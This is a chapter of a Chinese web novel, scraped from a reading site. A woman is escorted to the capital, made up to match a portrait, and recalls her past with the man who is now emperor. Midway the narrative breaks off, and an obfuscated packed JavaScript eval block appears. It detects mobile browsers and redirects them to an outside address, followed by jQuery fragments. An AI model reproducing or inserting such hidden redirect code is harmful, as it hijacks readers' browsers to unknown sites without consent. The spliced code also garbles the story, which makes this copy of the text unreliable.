默认冷灰
24号文字
方正启体

24. 赝品

作者:糯米肉丸本书字数:K更新时间:
    宁絮是在马车上被颠醒的,刚恢复意识,就感到手臂酸麻无比。


    她双手反剪身后,两个腕子被粗麻绳捆死了,背不能直接靠在座椅上,走到碎石稍微多一些的路段,不免东倒西歪。


    她左右各坐了一位官差,目不斜视,看她要滚落下去了,才出手拉一把,等她身形稳固,就绝不多碰她一下。


    怕她双手被绑久了出毛病,每隔一段时间,他们也会给她松绑,让她活动手腕。但每次解绑前,都要往她嘴里喂一小碗药,喝完浑身无力,根本别想作任何反抗。


    真是严防死守到了极致。


    这些官差嘴也严,她所有问题问了个遍,好话说尽,也得不到半句回答。


    万不得已,她开始闹绝食,饭食送到嘴边,她一昂脑袋就给顶翻。这招倒是有点用处,他们不敢强灌,怕把她呛死了。


    耗了三日,她饿得面有菜色,支不起身子。看守她的人终于服软:“我们是不明白了,陛下名声那样好,从不苛待任何人,进了宫荣宠加身,多少人求也求不来,你在犟什么呢?”


    “我要回鹤城,那两个姑娘没了我,恐怕难以支撑客栈,总有心怀不轨的男人上门找麻烦。”


    “可你自己不也是个姑娘?刀疤卸了,还顶漂亮哩,我们找了那么多个姑娘,只有你跟那画像上的十成十像,这回陛下应当满意了。”


    宁絮还要说什么,有个小个子官差眼疾手快,往她嘴里塞了一勺稠粥,又捏住她嘴巴不准她吐。


    “想开点吧,那两个姑娘倒也不用你操心,会有人帮忙照看。”


    宁絮想说话,就不得不把这口粥咽下去。他口中的照看,她不确定是不是收作小妾的那种照看。想问,但这群人估计知道的不多。


    就算问出来,她都自身难保了,短时间内也帮不上她们。


    她有点颓丧,鹌鹑似的缩起来:“究竟是谁把我捅出去的?是那个李二郎吗?”


    “我们是负责护送你的,可不清楚这些事。你觉得是那便是了。好了,再吃一口,我看你也不是那种不通情理的人,饿得面黄肌瘦,到了京城陛下以为我们亏待你。”


    她反复回忆李二郎当时的举动,若真的有什么人报了官,那也只能是他了。


    但他是如何知道的?她从没让他上过阁楼,也没在他面前卸下过伪装。


    那晚她固然和项志聊了许久,可二人都把声音压得极低,只有彼此能听得分明。李二郎耳力再好,也不可能躲在隔间梳理清楚状况。


    当初雇他之前,她亲自去隔间试过了。


    是哪个环节出了岔子?


    那几日的点点滴滴,在她脑中回溯了若干遍,因为没有事做,押她的官差也不爱跟她说话,她只能不断去想这些事。


    想到最后也得不出确切的答案,随着日渐接近京城,她开始操心另一件迫在眉睫的事。


    见了石虔,该如何是好?


    官差三班倒,想从他们眼皮底下逃脱,除非她能隐身。


    这支队伍快马加鞭,能不停歇就不停歇,急等着把这件从民间寻得的珍宝送到陛下面前。陛下对她满意了,点头了,他们才能消停,还能分得一些微不足道的奖励。


    进京当日,宁絮三更天就被架起来梳妆打扮。他们甚至找来了画像上的那套衣裳,尽管未能完全还原,可也有八分像。


    再对照画像上的长发形态,给她梳了个一模一样的头,之后便要着手涂抹唇脂,描眉搽粉。


    妆娘对着她的脸蛋啧啧赞叹:“就是不施粉黛,也够拿得出手了。哎,你自己觉得这妆是浓一些好,还是淡一些好?”


    宁絮眼前放着一面铜镜,擦得锃亮,映照出宁三娘的面容。


    她对这个昔日的花名并无好感,厌倦地别过头:“你自己决定吧,你才是负责上妆的。”


    “我这不是看你长得像嘛,太像了,说真的,你和这画像上的人究竟是什么关系?一母同胞的亲姊妹也不会相像到如此地步。”


    这妆娘是个活泼的性子,对着官差压抑了本性,看宁絮同为女子,就按捺不住了,什么异想天开的东西都往外说。


    “你该不会就是画像本尊吧?”


    宁絮睫毛一抖,随后波澜不惊道:“你问我,我问谁去。陛下这般兴师动众,听说找了好多人,一个也没瞧上,这女子想来已经不在了。”


    “你上妆上得淡一些吧,我眉眼生得凌厉,再涂个浓眉,男子气概上来了,怕熏着陛下。”


    妆娘噗嗤一乐,就按她说的来了,眉形略作修饰,再细细地涂过去。


    宁絮闭上眼,昏昏欲睡,三魂七魄似散未散之际,想起她和石虔刚认识不久那会儿。


    石虔跑江湖的,嘴甜,要把话说到人心坎里,哄得人高兴了,方可讨得打赏。有一次,他说她眉毛好浓好粗,不似女子。


    她干的也是看人脸色的行当,对好赖话尤为敏感。石虔此言乍听冒犯,语气却不带贬低之意,甚至隐隐有些艳羡。


    她这才开始端详石虔的容貌。平心而论,他长得不差,骨架比不得项志那般生猛,却也颀长舒展,身量称得上高挑。配上柳叶眉桃花眼,有种风流意味,只可惜装束粗陋,脸上也经常脏兮兮的,旁人时常忽略了他这副好相貌。


    “你的眉毛纤长秀美,也不似寻常的粗野莽汉,蹙起来的时候可人疼呢。”她笑着赞扬他。


    没成想马屁拍在马腿上,他听完立刻不乐意了:“好哇,你说我像女人!”


    不过是换一种方式把他的赞扬还给他,宁絮对天发誓她是真心诚意在夸他,绝没有取笑他的意思,也不知道他怎么把这话理解歪了。


    她半个字也没说他像女人呀!


    何况她就是说了又怎样,本意是赞他美貌,他连这都听不明白?


    他倒也没真的跟她闹,随便聊了两句别的带过去了。很小的一件事,小到没有任何值得记忆的地方,她以为自己早就忘了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326053|167622||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    今时今日再把这桩往事打捞起来,审视一番,她就发现自己错得离谱。


    说女子像男子,可看作嘲笑,亦可看作褒扬。说男子像女子,哪怕只是沾点边,没有直说,人家也会默认这话带着轻贱之意。


    她印象里,石虔此后再没说过她眉毛,只夸她的眼睛。什么翦水秋瞳含情脉脉,类似的词她听过一打有余。


    妆娘的声音在耳边响起:“喏,画好了,你看满意不?”


    宁絮瞅一眼铜镜,眉毛被画得略弯,眉尾修得更细,只要她不刻意拧起眉头,或者故意瞪人,就担得起一句柔美婉约。


    她现在又是明月楼宁三娘了,比画像还要美上三分,坐在那里就熠熠生辉,守在门口的官差忍不住要拿余光往这边瞥。


    妆娘显然对自己的手艺很满意,还非得要她也点头:“你说嘛,好不好看?”


    “横竖不是我付钱请你来的,你问我没用呀,我说了不算。”宁絮把铜镜翻向另一边,实在不愿多看。


    妆娘最后再给她整理一下发尾,笑道:“可别妄自菲薄,陛下不可能瞧不上你。依我看,画像可以撤了,陛下看过了你,眼里就容不下其他人。我见过的美人多了,眼睛毒,你信我。”


    “陛下当然瞧不上我,永远瞧不上我。不过这跟你做的妆容没关系。”她拍了拍妆娘的手背,“心灵手巧,画得很漂亮,可惜我穷光蛋一个,祝你下次碰到千金大小姐,画好了能拿到额外的赏钱。”


    一切就绪,宁絮让官差引领着上了马车。车轮碾过地面,发出喀啷声,搅得她心乱如麻。


    她已经是个死人了,此番入宫,与死而复生无异。两年未见,也不知宫内是怎样的光景。


    石虔成为七皇子以后,一贯冷静,能做出耗费举国上下之力寻找美人这种荒唐事,想来状态堪忧。


    她琢磨不出要以什么样的姿态面对他,甚至猜不出,他到底会把她当什么人?是一个九成相似的赝品,还是还了魂的本尊?


    宁絮祈祷他不清醒,认成赝品了事。要是追究起她是如何从畅春园脱身的,难免牵扯到一些无辜的宫人。


    放在从前,她相信石虔不会随便冤枉人,也不会乱施刑罚,现在就不好说了。


    马车忽然停下,前方传来一阵喧闹。宁絮想撩帘子看一眼,被边上的侍女制止了。


    最后这几天,她胳膊上没绑东西,免得留下印子不好看,但他们对她的看管是一点没放松。


    进了京城,她插翅难飞了,还是要锢着她,直到把她完好无损送到陛下面前,他们高悬的心才能轻轻放下。


    都是伏低做小的,宁絮能理解他们的不易,两只手乖乖搁在膝头,不再做其他小动作。


    这一去,就不知道要在宫里呆多久了,想再见秋霞和诗诗一面,怕是难了。


    她昂起头,逼退眼中的湿意。她还不老,还有的是时间审时度势,再逃跑一次也未尝不可,不能哭早了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)